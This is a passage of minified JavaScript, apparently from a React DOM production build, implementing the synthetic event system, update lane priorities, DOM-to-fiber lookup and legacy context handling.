gt(e){var t=Xr(e.target);if(null!==t){var n=$e(t);if(null!==n)if(13===(t=n.tag)){if(null!==(t=Ke(n)))return e.blockedOn=t,void rt(e.lanePriority,(function(){i.unstable_runWithPriority(e.priority,(function(){nt(n)}))}))}else if(3===t&&n.stateNode.hydrate)return void(e.blockedOn=3===n.tag?n.stateNode.containerInfo:null)}e.blockedOn=null}function vt(e){if(null!==e.blockedOn)return!1;for(var t=e.targetContainers;0<t.length;){var n=Qt(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(null!==n)return null!==(t=Qr(n))&&tt(t),e.blockedOn=n,!1;t.shift()}return!0}function yt(e,t,n){vt(e)&&n.delete(t)}function bt(){for(ot=!1;0<it.length;){var e=it[0];if(null!==e.blockedOn){null!==(e=Qr(e.blockedOn))&&et(e);break}for(var t=e.targetContainers;0<t.length;){var n=Qt(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(null!==n){e.blockedOn=n;break}t.shift()}null===e.blockedOn&&it.shift()}null!==at&&vt(at)&&(at=null),null!==lt&&vt(lt)&&(lt=null),null!==st&&vt(st)&&(st=null),ut.forEach(yt),ct.forEach(yt)}function wt(e,t){e.blockedOn===t&&(e.blockedOn=null,ot||(ot=!0,i.unstable_scheduleCallback(i.unstable_NormalPriority,bt)))}function Et(e){function t(t){return wt(t,e)}if(0<it.length){wt(it[0],e);for(var n=1;n<it.length;n++){var r=it[n];r.blockedOn===e&&(r.blockedOn=null)}}for(null!==at&&wt(at,e),null!==lt&&wt(lt,e),null!==st&&wt(st,e),ut.forEach(t),ct.forEach(t),n=0;n<ft.length;n++)(r=ft[n]).blockedOn===e&&(r.blockedOn=null);for(;0<ft.length&&null===(n=ft[0]).blockedOn;)gt(n),null===n.blockedOn&&ft.shift()}function St(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var Ct={animationend:St("Animation","AnimationEnd"),animationiteration:St("Animation","AnimationIteration"),animationstart:St("Animation","AnimationStart"),transitionend:St("Transition","TransitionEnd")},xt={},Ot={};function At(e){if(xt[e])return xt[e];if(!Ct[e])return e;var t,n=Ct[e];for(t in n)if(n.hasOwnProperty(t)&&t in Ot)return xt[e]=n[t];return e}f&&(Ot=document.createElement("div").style,"AnimationEvent"in window||(delete Ct.animationend.animation,delete Ct.animationiteration.animation,delete Ct.animationstart.animation),"TransitionEvent"in window||delete Ct.transitionend.transition);var _t=At("animationend"),Tt=At("animationiteration"),kt=At("animationstart"),Pt=At("transitionend"),Mt=new Map,Rt=new Map,jt=["abort","abort",_t,"animationEnd",Tt,"animationIteration",kt,"animationStart","canplay","canPlay","canplaythrough","canPlayThrough","durationchange","durationChange","emptied","emptied","encrypted","encrypted","ended","ended","error","error","gotpointercapture","gotPointerCapture","load","load","loadeddata","loadedData","loadedmetadata","loadedMetadata","loadstart","loadStart","lostpointercapture","lostPointerCapture","playing","playing","progress","progress","seeking","seeking","stalled","stalled","suspend","suspend","timeupdate","timeUpdate",Pt,"transitionEnd","waiting","waiting"];function Lt(e,t){for(var n=0;n<e.length;n+=2){var r=e[n],o=e[n+1];o="on"+(o[0].toUpperCase()+o.slice(1)),Rt.set(r,t),Mt.set(r,o),u(o,[r])}}(0,i.unstable_now)();var It=8;function Nt(e){if(0!=(1&e))return It=15,1;if(0!=(2&e))return It=14,2;if(0!=(4&e))return It=13,4;var t=24&e;return 0!==t?(It=12,t):0!=(32&e)?(It=11,32):0!==(t=192&e)?(It=10,t):0!=(256&e)?(It=9,256):0!==(t=3584&e)?(It=8,t):0!=(4096&e)?(It=7,4096):0!==(t=4186112&e)?(It=6,t):0!==(t=62914560&e)?(It=5,t):67108864&e?(It=4,67108864):0!=(134217728&e)?(It=3,134217728):0!==(t=805306368&e)?(It=2,t):0!=(1073741824&e)?(It=1,1073741824):(It=8,e)}function Dt(e,t){var n=e.pendingLanes;if(0===n)return It=0;var r=0,o=0,i=e.expiredLanes,a=e.suspendedLanes,l=e.pingedLanes;if(0!==i)r=i,o=It=15;else if(0!==(i=134217727&n)){var s=i&~a;0!==s?(r=Nt(s),o=It):0!==(l&=i)&&(r=Nt(l),o=It)}else 0!==(i=n&~a)?(r=Nt(i),o=It):0!==l&&(r=Nt(l),o=It);if(0===r)return 0;if(r=n&((0>(r=31-Ut(r))?0:1<<r)<<1)-1,0!==t&&t!==r&&0==(t&a)){if(Nt(t),o<=It)return t;It=o}if(0!==(t=e.entangledLanes))for(e=e.entanglements,t&=r;0<t;)o=1<<(n=31-Ut(t)),r|=e[n],t&=~o;return r}function Ft(e){return 0!==(e=-1073741825&e.pendingLanes)?e:1073741824&e?1073741824:0}function Bt(e,t){switch(e){case 15:return 1;case 14:return 2;case 12:return 0===(e=Ht(24&~t))?Bt(10,t):e;case 10:return 0===(e=Ht(192&~t))?Bt(8,t):e;case 8:return 0===(e=Ht(3584&~t))&&(0===(e=Ht(4186112&~t))&&(e=512)),e;case 2:return 0===(t=Ht(805306368&~t))&&(t=268435456),t}throw Error(a(358,e))}function Ht(e){return e&-e}function Vt(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function zt(e,t,n){e.pendingLanes|=t;var r=t-1;e.suspendedLanes&=r,e.pingedLanes&=r,(e=e.eventTimes)[t=31-Ut(t)]=n}var Ut=Math.clz32?Math.clz32:function(e){return 0===e?32:31-(Gt(e)/Wt|0)|0},Gt=Math.log,Wt=Math.LN2;var qt=i.unstable_UserBlockingPriority,Zt=i.unstable_runWithPriority,Yt=!0;function $t(e,t,n,r){Ne||Le();var o=Xt,i=Ne;Ne=!0;try{je(o,e,t,n,r)}finally{(Ne=i)||Fe()}}function Kt(e,t,n,r){Zt(qt,Xt.bind(null,e,t,n,r))}function Xt(e,t,n,r){var o;if(Yt)if((o=0==(4&t))&&0<it.length&&-1<dt.indexOf(e))e=pt(null,e,t,n,r),it.push(e);else{var i=Qt(e,t,n,r);if(null===i)o&&ht(e,r);else{if(o){if(-1<dt.indexOf(e))return e=pt(i,e,t,n,r),void it.push(e);if(function(e,t,n,r,o){switch(t){case"focusin":return at=mt(at,e,t,n,r,o),!0;case"dragenter":return lt=mt(lt,e,t,n,r,o),!0;case"mouseover":return st=mt(st,e,t,n,r,o),!0;case"pointerover":var i=o.pointerId;return ut.set(i,mt(ut.get(i)||null,e,t,n,r,o)),!0;case"gotpointercapture":return i=o.pointerId,ct.set(i,mt(ct.get(i)||null,e,t,n,r,o)),!0}return!1}(i,e,t,n,r))return;ht(e,r)}Pr(e,t,r,null,n)}}}function Qt(e,t,n,r){var o=Oe(r);if(null!==(o=Xr(o))){var i=$e(o);if(null===i)o=null;else{var a=i.tag;if(13===a){if(null!==(o=Ke(i)))return o;o=null}else if(3===a){if(i.stateNode.hydrate)return 3===i.tag?i.stateNode.containerInfo:null;o=null}else i!==o&&(o=null)}}return Pr(e,t,r,o,n),null}var Jt=null,en=null,tn=null;function nn(){if(tn)return tn;var e,t,n=en,r=n.length,o="value"in Jt?Jt.value:Jt.textContent,i=o.length;for(e=0;e<r&&n[e]===o[e];e++);var a=r-e;for(t=1;t<=a&&n[r-t]===o[i-t];t++);return tn=o.slice(e,1<t?1-t:void 0)}function rn(e){var t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}function on(){return!0}function an(){return!1}function ln(e){function t(t,n,r,o,i){for(var a in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=o,this.target=i,this.currentTarget=null,e)e.hasOwnProperty(a)&&(t=e[a],this[a]=t?t(o):o[a]);return this.isDefaultPrevented=(null!=o.defaultPrevented?o.defaultPrevented:!1===o.returnValue)?on:an,this.isPropagationStopped=an,this}return o(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=on)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=on)},persist:function(){},isPersistent:on}),t}var sn,un,cn,fn={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},dn=ln(fn),pn=o({},fn,{view:0,detail:0}),hn=ln(pn),mn=o({},pn,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:An,button:0,buttons:0,relatedTarget:function(e){return void 0===e.relatedTarget?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==cn&&(cn&&"mousemove"===e.type?(sn=e.screenX-cn.screenX,un=e.screenY-cn.screenY):un=sn=0,cn=e),sn)},movementY:function(e){return"movementY"in e?e.movementY:un}}),gn=ln(mn),vn=ln(o({},mn,{dataTransfer:0})),yn=ln(o({},pn,{relatedTarget:0})),bn=ln(o({},fn,{animationName:0,elapsedTime:0,pseudoElement:0})),wn=ln(o({},fn,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}})),En=ln(o({},fn,{data:0})),Sn={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},Cn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},xn={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function On(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=xn[e])&&!!t[e]}function An(){return On}var _n=ln(o({},pn,{key:function(e){if(e.key){var t=Sn[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=rn(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?Cn[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:An,charCode:function(e){return"keypress"===e.type?rn(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?rn(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}})),Tn=ln(o({},mn,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),kn=ln(o({},pn,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:An})),Pn=ln(o({},fn,{propertyName:0,elapsedTime:0,pseudoElement:0})),Mn=ln(o({},mn,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0})),Rn=[9,13,27,32],jn=f&&"CompositionEvent"in window,Ln=null;f&&"documentMode"in document&&(Ln=document.documentMode);var In=f&&"TextEvent"in window&&!Ln,Nn=f&&(!jn||Ln&&8<Ln&&11>=Ln),Dn=String.fromCharCode(32),Fn=!1;function Bn(e,t){switch(e){case"keyup":return-1!==Rn.indexOf(t.keyCode);case"keydown":return 229!==t.keyCode;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hn(e){return"object"==typeof(e=e.detail)&&"data"in e?e.data:null}var Vn=!1;var zn={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Un(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!zn[e.type]:"textarea"===t}function Gn(e,t,n,r){Pe(r),0<(t=Rr(t,"onChange")).length&&(n=new dn("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var Wn=null,qn=null;function Zn(e){xr(e,0)}function Yn(e){if(X(Jr(e)))return e}function $n(e,t){if("change"===e)return t}var Kn=!1;if(f){var Xn;if(f){var Qn="oninput"in document;if(!Qn){var Jn=document.createElement("div");Jn.setAttribute("oninput","return;"),Qn="function"==typeof Jn.oninput}Xn=Qn}else Xn=!1;Kn=Xn&&(!document.documentMode||9<document.documentMode)}function er(){Wn&&(Wn.detachEvent("onpropertychange",tr),qn=Wn=null)}function tr(e){if("value"===e.propertyName&&Yn(qn)){var t=[];if(Gn(t,qn,e,Oe(e)),e=Zn,Ne)e(t);else{Ne=!0;try{Re(e,t)}finally{Ne=!1,Fe()}}}}function nr(e,t,n){"focusin"===e?(er(),qn=n,(Wn=t).attachEvent("onpropertychange",tr)):"focusout"===e&&er()}function rr(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return Yn(qn)}function or(e,t){if("click"===e)return Yn(t)}function ir(e,t){if("input"===e||"change"===e)return Yn(t)}var ar="function"==typeof Object.is?Object.is:function(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t},lr=Object.prototype.hasOwnProperty;function sr(e,t){if(ar(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++)if(!lr.call(t,n[r])||!ar(e[n[r]],t[n[r]]))return!1;return!0}function ur(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function cr(e,t){var n,r=ur(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=ur(r)}}function fr(){for(var e=window,t=Q();t instanceof e.HTMLIFrameElement;){try{var n="string"==typeof t.contentWindow.location.href}catch(e){n=!1}if(!n)break;t=Q((e=t.contentWindow).document)}return t}function dr(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}var pr=f&&"documentMode"in document&&11>=document.documentMode,hr=null,mr=null,gr=null,vr=!1;function yr(e,t,n){var r=n.window===n?n.document:9===n.nodeType?n:n.ownerDocument;vr||null==hr||hr!==Q(r)||("selectionStart"in(r=hr)&&dr(r)?r={start:r.selectionStart,end:r.selectionEnd}:r={anchorNode:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset},gr&&sr(gr,r)||(gr=r,0<(r=Rr(mr,"onSelect")).length&&(t=new dn("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=hr)))}Lt("cancel cancel click click close close contextmenu contextMenu copy copy cut cut auxclick auxClick dblclick doubleClick dragend dragEnd dragstart dragStart drop drop focusin focus focusout blur input input invalid invalid keydown keyDown keypress keyPress keyup keyUp mousedown mouseDown mouseup mouseUp paste paste pause pause play play pointercancel pointerCancel pointerdown pointerDown pointerup pointerUp ratechange rateChange reset reset seeked seeked submit submit touchcancel touchCancel touchend touchEnd touchstart touchStart volumechange volumeChange".split(" "),0),Lt("drag drag dragenter dragEnter dragexit dragExit dragleave dragLeave dragover dragOver mousemove mouseMove mouseout mouseOut mouseover mouseOver pointermove pointerMove pointerout pointerOut pointerover pointerOver scroll scroll toggle toggle touchmove touchMove wheel wheel".split(" "),1),Lt(jt,2);for(var br="change selectionchange textInput compositionstart compositionend compositionupdate".split(" "),wr=0;wr<br.length;wr++)Rt.set(br[wr],0);c("onMouseEnter",["mouseout","mouseover"]),c("onMouseLeave",["mouseout","mouseover"]),c("onPointerEnter",["pointerout","pointerover"]),c("onPointerLeave",["pointerout","pointerover"]),u("onChange","change click focusin focusout input keydown keyup selectionchange".split(" ")),u("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" ")),u("onBeforeInput",["compositionend","keypress","textInput","paste"]),u("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" ")),u("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" ")),u("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var Er="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Sr=new Set("cancel close invalid load scroll toggle".split(" ").concat(Er));function Cr(e,t,n){var r=e.type||"unknown-event";e.currentTarget=n,function(e,t,n,r,o,i,l,s,u){if(Ye.apply(this,arguments),Ue){if(!Ue)throw Error(a(198));var c=Ge;Ue=!1,Ge=null,We||(We=!0,qe=c)}}(r,t,void 0,e),e.currentTarget=null}function xr(e,t){t=0!=(4&t);for(var n=0;n<e.length;n++){var r=e[n],o=r.event;r=r.listeners;e:{var i=void 0;if(t)for(var a=r.length-1;0<=a;a--){var l=r[a],s=l.instance,u=l.currentTarget;if(l=l.listener,s!==i&&o.isPropagationStopped())break e;Cr(o,l,u),i=s}else for(a=0;a<r.length;a++){if(s=(l=r[a]).instance,u=l.currentTarget,l=l.listener,s!==i&&o.isPropagationStopped())break e;Cr(o,l,u),i=s}}}if(We)throw e=qe,We=!1,qe=null,e}function Or(e,t){var n=to(t),r=e+"__bubble";n.has(r)||(kr(t,e,2,!1),n.add(r))}var Ar="_reactListening"+Math.random().toString(36).slice(2);function _r(e){e[Ar]||(e[Ar]=!0,l.forEach((function(t){Sr.has(t)||Tr(t,!1,e,null),Tr(t,!0,e,null)})))}function Tr(e,t,n,r){var o=4<arguments.length&&void 0!==arguments[4]?arguments[4]:0,i=n;if("selectionchange"===e&&9!==n.nodeType&&(i=n.ownerDocument),null!==r&&!t&&Sr.has(e)){if("scroll"!==e)return;o|=2,i=r}var a=to(i),l=e+"__"+(t?"capture":"bubble");a.has(l)||(t&&(o|=4),kr(i,e,o,t),a.add(l))}function kr(e,t,n,r){var o=Rt.get(t);switch(void 0===o?2:o){case 0:o=$t;break;case 1:o=Kt;break;default:o=Xt}n=o.bind(null,t,n,e),o=void 0,!He||"touchstart"!==t&&"touchmove"!==t&&"wheel"!==t||(o=!0),r?void 0!==o?e.addEventListener(t,n,{capture:!0,passive:o}):e.addEventListener(t,n,!0):void 0!==o?e.addEventListener(t,n,{passive:o}):e.addEventListener(t,n,!1)}function Pr(e,t,n,r,o){var i=r;if(0==(1&t)&&0==(2&t)&&null!==r)e:for(;;){if(null===r)return;var a=r.tag;if(3===a||4===a){var l=r.stateNode.containerInfo;if(l===o||8===l.nodeType&&l.parentNode===o)break;if(4===a)for(a=r.return;null!==a;){var s=a.tag;if((3===s||4===s)&&((s=a.stateNode.containerInfo)===o||8===s.nodeType&&s.parentNode===o))return;a=a.return}for(;null!==l;){if(null===(a=Xr(l)))return;if(5===(s=a.tag)||6===s){r=i=a;continue e}l=l.parentNode}}r=r.return}!function(e,t,n){if(De)return e(t,n);De=!0;try{Ie(e,t,n)}finally{De=!1,Fe()}}((function(){var r=i,o=Oe(n),a=[];e:{var l=Mt.get(e);if(void 0!==l){var s=dn,u=e;switch(e){case"keypress":if(0===rn(n))break e;case"keydown":case"keyup":s=_n;break;case"focusin":u="focus",s=yn;break;case"focusout":u="blur",s=yn;break;case"beforeblur":case"afterblur":s=yn;break;case"click":if(2===n.button)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":s=gn;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":s=vn;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":s=kn;break;case _t:case Tt:case kt:s=bn;break;case Pt:s=Pn;break;case"scroll":s=hn;break;case"wheel":s=Mn;break;case"copy":case"cut":case"paste":s=wn;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":s=Tn}var c=0!=(4&t),f=!c&&"scroll"===e,d=c?null!==l?l+"Capture":null:l;c=[];for(var p,h=r;null!==h;){var m=(p=h).stateNode;if(5===p.tag&&null!==m&&(p=m,null!==d&&(null!=(m=Be(h,d))&&c.push(Mr(h,m,p)))),f)break;h=h.return}0<c.length&&(l=new s(l,u,null,n,o),a.push({event:l,listeners:c}))}}if(0==(7&t)){if(s="mouseout"===e||"pointerout"===e,(!(l="mouseover"===e||"pointerover"===e)||0!=(16&t)||!(u=n.relatedTarget||n.fromElement)||!Xr(u)&&!u[$r])&&(s||l)&&(l=o.window===o?o:(l=o.ownerDocument)?l.defaultView||l.parentWindow:window,s?(s=r,null!==(u=(u=n.relatedTarget||n.toElement)?Xr(u):null)&&(u!==(f=$e(u))||5!==u.tag&&6!==u.tag)&&(u=null)):(s=null,u=r),s!==u)){if(c=gn,m="onMouseLeave",d="onMouseEnter",h="mouse","pointerout"!==e&&"pointerover"!==e||(c=Tn,m="onPointerLeave",d="onPointerEnter",h="pointer"),f=null==s?l:Jr(s),p=null==u?l:Jr(u),(l=new c(m,h+"leave",s,n,o)).target=f,l.relatedTarget=p,m=null,Xr(o)===r&&((c=new c(d,h+"enter",u,n,o)).target=p,c.relatedTarget=f,m=c),f=m,s&&u)e:{for(d=u,h=0,p=c=s;p;p=jr(p))h++;for(p=0,m=d;m;m=jr(m))p++;for(;0<h-p;)c=jr(c),h--;for(;0<p-h;)d=jr(d),p--;for(;h--;){if(c===d||null!==d&&c===d.alternate)break e;c=jr(c),d=jr(d)}c=null}else c=null;null!==s&&Lr(a,l,s,c,!1),null!==u&&null!==f&&Lr(a,f,u,c,!0)}if("select"===(s=(l=r?Jr(r):window).nodeName&&l.nodeName.toLowerCase())||"input"===s&&"file"===l.type)var g=$n;else if(Un(l))if(Kn)g=ir;else{g=rr;var v=nr}else(s=l.nodeName)&&"input"===s.toLowerCase()&&("checkbox"===l.type||"radio"===l.type)&&(g=or);switch(g&&(g=g(e,r))?Gn(a,g,n,o):(v&&v(e,l,r),"focusout"===e&&(v=l._wrapperState)&&v.controlled&&"number"===l.type&&oe(l,"number",l.value)),v=r?Jr(r):window,e){case"focusin":(Un(v)||"true"===v.contentEditable)&&(hr=v,mr=r,gr=null);break;case"focusout":gr=mr=hr=null;break;case"mousedown":vr=!0;break;case"contextmenu":case"mouseup":case"dragend":vr=!1,yr(a,n,o);break;case"selectionchange":if(pr)break;case"keydown":case"keyup":yr(a,n,o)}var y;if(jn)e:{switch(e){case"compositionstart":var b="onCompositionStart";break e;case"compositionend":b="onCompositionEnd";break e;case"compositionupdate":b="onCompositionUpdate";break e}b=void 0}else Vn?Bn(e,n)&&(b="onCompositionEnd"):"keydown"===e&&229===n.keyCode&&(b="onCompositionStart");b&&(Nn&&"ko"!==n.locale&&(Vn||"onCompositionStart"!==b?"onCompositionEnd"===b&&Vn&&(y=nn()):(en="value"in(Jt=o)?Jt.value:Jt.textContent,Vn=!0)),0<(v=Rr(r,b)).length&&(b=new En(b,e,null,n,o),a.push({event:b,listeners:v}),y?b.data=y:null!==(y=Hn(n))&&(b.data=y))),(y=In?function(e,t){switch(e){case"compositionend":return Hn(t);case"keypress":return 32!==t.which?null:(Fn=!0,Dn);case"textInput":return(e=t.data)===Dn&&Fn?null:e;default:return null}}(e,n):function(e,t){if(Vn)return"compositionend"===e||!jn&&Bn(e,t)?(e=nn(),tn=en=Jt=null,Vn=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return Nn&&"ko"!==t.locale?null:t.data;default:return null}}(e,n))&&(0<(r=Rr(r,"onBeforeInput")).length&&(o=new En("onBeforeInput","beforeinput",null,n,o),a.push({event:o,listeners:r}),o.data=y))}xr(a,t)}))}function Mr(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Rr(e,t){for(var n=t+"Capture",r=[];null!==e;){var o=e,i=o.stateNode;5===o.tag&&null!==i&&(o=i,null!=(i=Be(e,n))&&r.unshift(Mr(e,i,o)),null!=(i=Be(e,t))&&r.push(Mr(e,i,o))),e=e.return}return r}function jr(e){if(null===e)return null;do{e=e.return}while(e&&5!==e.tag);return e||null}function Lr(e,t,n,r,o){for(var i=t._reactName,a=[];null!==n&&n!==r;){var l=n,s=l.alternate,u=l.stateNode;if(null!==s&&s===r)break;5===l.tag&&null!==u&&(l=u,o?null!=(s=Be(n,i))&&a.unshift(Mr(n,s,l)):o||null!=(s=Be(n,i))&&a.push(Mr(n,s,l))),n=n.return}0!==a.length&&e.push({event:t,listeners:a})}function Ir(){}var Nr=null,Dr=null;function Fr(e,t){switch(e){case"button":case"input":case"select":case"textarea":return!!t.autoFocus}return!1}function Br(e,t){return"textarea"===e||"option"===e||"noscript"===e||"string"==typeof t.children||"number"==typeof t.children||"object"==typeof t.dangerouslySetInnerHTML&&null!==t.dangerouslySetInnerHTML&&null!=t.dangerouslySetInnerHTML.__html}var Hr="function"==typeof setTimeout?setTimeout:void 0,Vr="function"==typeof clearTimeout?clearTimeout:void 0;function zr(e){1===e.nodeType?e.textContent="":9===e.nodeType&&(null!=(e=e.body)&&(e.textContent=""))}function Ur(e){for(;null!=e;e=e.nextSibling){var t=e.nodeType;if(1===t||3===t)break}return e}function Gr(e){e=e.previousSibling;for(var t=0;e;){if(8===e.nodeType){var n=e.data;if("$"===n||"$!"===n||"$?"===n){if(0===t)return e;t--}else"/$"===n&&t++}e=e.previousSibling}return null}var Wr=0;var qr=Math.random().toString(36).slice(2),Zr="__reactFiber$"+qr,Yr="__reactProps$"+qr,$r="__reactContainer$"+qr,Kr="__reactEvents$"+qr;function Xr(e){var t=e[Zr];if(t)return t;for(var n=e.parentNode;n;){if(t=n[$r]||n[Zr]){if(n=t.alternate,null!==t.child||null!==n&&null!==n.child)for(e=Gr(e);null!==e;){if(n=e[Zr])return n;e=Gr(e)}return t}n=(e=n).parentNode}return null}function Qr(e){return!(e=e[Zr]||e[$r])||5!==e.tag&&6!==e.tag&&13!==e.tag&&3!==e.tag?null:e}function Jr(e){if(5===e.tag||6===e.tag)return e.stateNode;throw Error(a(33))}function eo(e){return e[Yr]||null}function to(e){var t=e[Kr];return void 0===t&&(t=e[Kr]=new Set),t}var no=[],ro=-1;function oo(e){return{current:e}}function io(e){0>ro||(e.current=no[ro],no[ro]=null,ro--)}function ao(e,t){ro++,no[ro]=e.current,e.current=t}var lo={},so=oo(lo),uo=oo(!1),co=lo;function fo(e,t){var n=e.type.contextTypes;if(!n)return lo;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var o,i={};for(o in n)i[o]=t[o];return r&&((e=e.stateNode).__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function po(e){return null!=(e=e.childContextTypes)}function ho(){io(uo),io(so)}function mo(e,t,n){if(so.current!==lo)throw Error(a(168));ao(so,t),ao(uo,n)}function go(e,t,n){var r=e.stateNode;if(e=t.childContextTypes,"function"!=typeof r.getChildContext)return n;for(var i in r=r.getChildContext())if(!(i in e))throw Error(a(108,Z(t)||"Unknown",i));return o({},n,r)}function vo(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||lo,co=so.current,ao(so,e),ao(uo,uo.current),!0}function yo(e,t,n){var r=e.stateNode;if(!r)throw Error(a(169));n?(e=go(e,t,co),r.__reactInternalMemoizedMergedChildContext=e,io(uo),io(so),ao(so,e)):io(uo),ao(uo,n)}var bo=null,wo=null,Eo=i.unstable_runWithPriority,So=i.unstable_scheduleCallback,Co=i.unstable_cancelCallback,xo=i.unstable_shouldYield,Oo=i.unstable_requestPaint,Ao=i.unstable_now,_o=i.unstable_getCurrentPriorityLevel,To=i.unstable_ImmediatePriority,ko=i.unstable_UserBlockingPriority,Po=i.unstable_NormalPriority,Mo=i.unstable_LowPriority,Ro=i.unstable_IdlePriority,jo={},Lo=void 0!==Oo?Oo:function(){},Io=null,No=null,Do=!1,Fo=Ao(),Bo=1e4>Fo?Ao:function(){return Ao()-Fo};function Ho(){switch(_o()){case To:return 99;case ko:return 98;case Po:return 97;case Mo:return 96;case Ro:return 95;default:throw Error(a(332))}}function Vo(e){switch(e){case 99:return To;case 98:return ko;case 97:return Po;case 96:return Mo;case 95:return Ro;default:throw Error(a(332))}}function zo(e,t){return e=Vo(e),Eo(e,t)}function Uo(e,t,n){return e=Vo(e),So(e,t,n)}function Go(){if(null!==No){var e=No;No=null,Co(e)}Wo()}function Wo(){if(!Do&&null!==Io){Do=!0;var e=0;try{var t=Io;zo(99,(function(){for(;e<t.length;e++){var n=t[e];do{n=n(!0)}while(null!==n)}})),Io=null}catch(t){throw null!==Io&&(Io=Io.slice(e+1)),So(To,Go),t}finally{Do=!1}}}var qo=E.ReactCurrentBatchConfig;function Zo(e,t){if(e&&e.defaultProps){for(var n in t=o({},t),e=e.defaultProps)void 